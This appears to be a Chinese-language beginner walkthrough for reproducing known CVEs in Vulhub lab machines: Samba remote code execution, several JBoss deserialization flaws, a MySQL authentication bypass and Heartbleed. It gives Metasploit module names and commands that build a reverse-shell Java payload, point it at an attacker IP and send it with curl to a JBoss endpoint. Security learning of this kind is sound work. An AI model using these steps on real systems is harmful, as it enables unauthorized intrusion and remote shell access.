小白之vulhub靶机之旅--第二篇
字数 1871 2025-08-18 11:39:30
Vulhub靶机漏洞复现教学文档
1. Samba远程代码执行漏洞(CVE-2017-7494)
漏洞原理
- Samba允许连接远程命名管道,在连接前调用
is_known_pipename()函数验证管道名称 - 该函数未检查管道名称中的特殊字符,导致可以加载恶意动态链接库
- 影响版本:Samba 3.5.0 到 4.6.4/4.5.10/4.4.14之间的所有版本
复现步骤
- 使用Docker编译漏洞环境
- 在MSF中使用模块:
exploit/linux/samba/is_known_pipename - 设置目标地址和端口
- 指定可写目录的绝对路径(测试环境中为
/home/share) - 执行exploit,成功将返回shell通道
2. JBoss反序列化漏洞
2.1 CVE-2017-12149
漏洞原理
- JBOSS Application Server反序列化命令执行漏洞
- 远程攻击者可在未经身份验证的服务器上执行任意代码
- 影响版本:5.x和6.x版本的JBOSS AS
复现步骤
- 下载POC:
git clone https://github.com/joaomatosf/JavaDeserH2HC - 生成二进制payload:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java - 生成文件:
ExampleCommonsCollections1WithHashMap.ser - 设置监听:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <攻击机IP>:6666 - 发送payload:
curl http://<目标IP>:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser - 监听6666端口获取shell
2.2 CVE-2017-7504
漏洞原理
- JMS上JbossMQ实现的HTTP调用层不限制执行反序列化的类
- 允许通过精心设计的序列化数据执行任意代码
复现步骤
- 简单测试:访问
http://ip:8080/jbossmq-httpil/HTTPServerILServlet/,能访问则存在漏洞 - 使用与CVE-2017-12149相同的payload生成方法
- 设置监听不同端口(如9999)
- 发送payload获取shell
2.3 JMXInvokerServlet反序列化漏洞
漏洞原理
- JBoss在
/invoker/JMXInvokerServlet请求中读取用户传入的对象 - 利用Apache Commons Collections中的Gadget执行任意代码
复现方法
- 使用集成化工具(需要Java环境)
- 直接输入存在漏洞的URL进行验证
3. MySQL身份认证漏洞(CVE-2012-2122)
漏洞原理
- 允许攻击者穷举256次用户密码即可成功登录
- 根源在于
memcmp()函数返回-128到127范围内的值 - 仅在使用SSE优化库(GNU C库)的Linux系统上可利用
复现步骤
- 使用MSF模块:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump - 设置目标IP和端口(默认3306)
- 执行漏洞验证,即使密码错误也能通过认证
4. OpenSSL心脏滴血漏洞
漏洞原理
- OpenSSL的心跳机制未做边界检测
- 攻击者可获取TLS链接对端内存中的数据(每次至少16KB,最大64KB)
- 可能泄露敏感信息如用户请求、密码甚至证书私钥
检测方法
- 使用MSF模块:
auxiliary/scanner/ssl/openssl_heartbleed - 使用nmap脚本检测
- 使用Python脚本检测
注意事项
- 靶机环境与实际测试环境有差异,但可提供思路
- 所有操作应在授权环境下进行
- 不同漏洞需要不同的工具和payload
- 反弹shell时需要正确设置监听IP和端口
参考工具
- Metasploit Framework (MSF)
- Nmap
- JavaDeserH2HC工具集
- 各种Python检测脚本
安全建议
- 及时更新受影响软件到安全版本
- 对暴露在公网的服务进行安全加固
- 定期进行漏洞扫描和安全评估
- 实施最小权限原则